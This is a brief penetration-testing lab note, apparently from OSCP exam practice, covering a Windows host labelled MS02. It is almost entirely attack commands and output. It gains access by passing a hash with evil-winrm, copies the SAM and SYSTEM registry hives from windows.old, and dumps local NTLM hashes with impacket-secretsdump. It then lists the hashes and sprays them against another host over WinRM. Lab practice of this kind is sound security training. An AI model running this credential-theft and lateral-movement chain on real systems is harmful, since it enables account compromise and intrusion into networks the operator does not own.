10.10.209.142 (MS02)

Access

proxychains evil-winrm -i 10.10.209.142 -u oscp.exam\\celia.almeda -H e728ecbadfb02f51ce8eed753f3ff3fd

Enumeration

whoami
whoami /priv
whoami /groups

Get-ChildItem -Path C:\ -Include SAM,SYSTEM -File -Recurse -ErrorAction SilentlyContinue

cd C:\windows.old\Windows\System32\
download SAM
download SYSTEM

impacket-secretsdump -sam SAM -system SYSTEM LOCAL

Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DefaultAccount:503:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::

WDAGUtilityAccount:504:aad3b435b51404eeaad3b435b51404ee:acbb9b77c62fdd8fe5976148a933177a:::

tom_admin:1001:aad3b435b51404eeaad3b435b51404ee:4979d69d4ca66955c075c41cf45f24dc:::
Cheyanne.Adams:1002:aad3b435b51404eeaad3b435b51404ee:b3930e99899cb55b4aefef9a7021ffd0:::
David.Rhys:1003:aad3b435b51404eeaad3b435b51404ee:9ac088de348444c71dba2dca92127c11:::
Mark.Chetty:1004:aad3b435b51404eeaad3b435b51404ee:92903f280e5c5f3cab018bd91b94c771:::

Username	Password	NTLM Hash
tom_admin		4979d69d4ca66955c075c41cf45f24dc
Cheyanne.Adams		b3930e99899cb55b4aefef9a7021ffd0
David.Rhys		9ac088de348444c71dba2dca92127c11
Mark.Chetty		92903f280e5c5f3cab018bd91b94c771

proxychains nxc winrm 10.10.89.140 -d oscp.exam -u users.txt -H hashes.txt --continue-on-success